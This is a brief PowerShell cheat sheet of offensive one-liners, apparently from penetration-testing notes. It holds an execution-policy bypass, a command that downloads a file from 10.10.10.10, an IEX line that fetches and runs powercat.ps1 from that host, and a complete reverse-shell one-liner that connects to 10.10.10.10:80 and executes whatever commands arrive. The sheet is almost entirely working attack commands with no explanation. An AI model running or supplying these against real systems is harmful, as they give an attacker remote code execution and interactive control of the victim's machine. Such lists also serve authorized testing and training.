Powershell
2024-03-05 20:59:04

From CMD

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powershell -exec bypass -c "<command>"
powershell -exec bypass -f <ps1_file>

Download File

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(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/file', 'C:/file')

Invoke Downloaded File String

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IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/powercat.ps1')

One-Liner Rev Shell

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$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
2024-03-05 20:59:04